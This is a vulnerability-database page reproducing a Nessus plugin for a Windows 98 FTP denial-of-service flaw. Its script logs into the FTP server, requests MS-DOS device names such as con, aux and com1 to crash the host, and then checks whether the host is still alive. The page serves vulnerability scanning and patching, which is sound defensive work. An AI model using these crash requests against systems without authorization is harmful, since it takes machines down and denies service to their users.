Lucene search
+L

Windows 98 FTP MS/DOS Device Name Request DoS

🗓️ 29 Mar 2002 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 29 Views

Windows 98 FTP MS/DOS device name request vulnerability crashes system through specific file access.

Refs
Code
SourceLink
nessuswww.nessus.org/u
#
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security 
#      Erik Anderson <[email protected]>
#      Added links to the Bugtraq message archive and Microsoft Knowledgebase
#
# This script is a copy of http_w98_devname_dos.nasl. 
#


include("compat.inc");

if(description)
{
 script_id(10929);
 script_version("1.32");

 script_name(english:"Windows 98 FTP MS/DOS Device Name Request DoS");
 script_summary(english:"Crashes Windows 98");

 script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by a denial of service
vulnerability." );
 script_set_attribute(attribute:"description", value:
"It was possible to freeze or reboot Windows by reading a MS/DOS device
through FTP, using a file name like CON\CON, AUX.htm, or AUX.

An attacker may use this flaw to continuously crash the affected host,
preventing users from working properly." );
 # http://web.archive.org/web/20030607040140/http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q256015
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ee2e4e40" );
 script_set_attribute(attribute:"solution", value:
"Apply the patch from the above reference." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
 script_set_attribute(attribute:"cvss_score_source", value:"manual");
 script_set_attribute(attribute:"cvss_score_rationale", value:"Score based on an in-depth analysis by Tenable.");

 script_set_attribute(attribute:"plugin_publication_date", value: "2002/03/29");
 script_set_attribute(attribute:"plugin_modification_date", value:"2024/01/16");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_KILL_HOST);
 script_copyright(english: "This script is Copyright (C) 2001-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
 script_family(english:"FTP");
 script_dependencies("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl", "smb_win_9x.nasl");
 script_require_ports("Services/ftp", 21);
 script_require_keys("Host/Win9x", "ftp/login");
 exit(0);
}

include("ftp_func.inc");


if (! get_kb_item("Host/Win9x"))
 exit(0, "The remote OS is unknown or is not Windows 9x");

# The script code starts here

login = get_kb_item_or_exit("ftp/login");
pass  = get_kb_item("ftp/password");

# login = "ftp";
# pass = "[email protected]";

start_denial();

var dev, ext;

dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";

ext[0] = ".foo";
ext[1] = ".";
ext[2] = ". . .. ... .. .";
ext[3] = "-";

port = get_ftp_port(default: 21);

soc = open_sock_tcp(port);
if (! soc) exit(1, "Connection refused on port "+port+".");
dbg::detailed_log(name:'ftp_func', src:SCRIPT_NAME, lvl:2, msg:"Getting the FTP banner.");
r = ftp_recv_line(socket: soc);
ftp_close(socket: soc);
if (! r)
{
  exit(1, "Could not read FTP banner on port "+port+".");
}

 for (i = 0; dev[i]; i = i + 1)
 {
  d = dev[i];
  for (j = 0; ext[j]; j = j + 1)
  {
   e = ext[j];
   if (e == "-")
    name = (d + "/" + d);
   else
    name = (d + e);
   soc = open_sock_tcp(port);
   if(soc)
   {
    if (ftp_authenticate(socket:soc, user:login, pass:pass))
    {
     port2 = ftp_pasv(socket:soc);
     soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
     req = 'RETR '+ name+'\r\n';
     send(socket:soc, data:req);
     if (soc2) close(soc2);
    }
    close(soc);
   }
  }
 }


# Check if FTP server is still alive
r = NULL;
soc = open_sock_tcp(port);
if (soc)
{
  r = ftp_recv_line(socket: soc);
  ftp_close(socket: soc);
}

if (r) exit(0, "The FTP server on port "+port+" is still alive.");

alive = end_denial();					     
if(!alive)
{
 security_hole(port);
 set_kb_item(name:"Host/dead", value:TRUE);
 exit(0);
}
else
  exit(0, "The remote host is still alive.");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation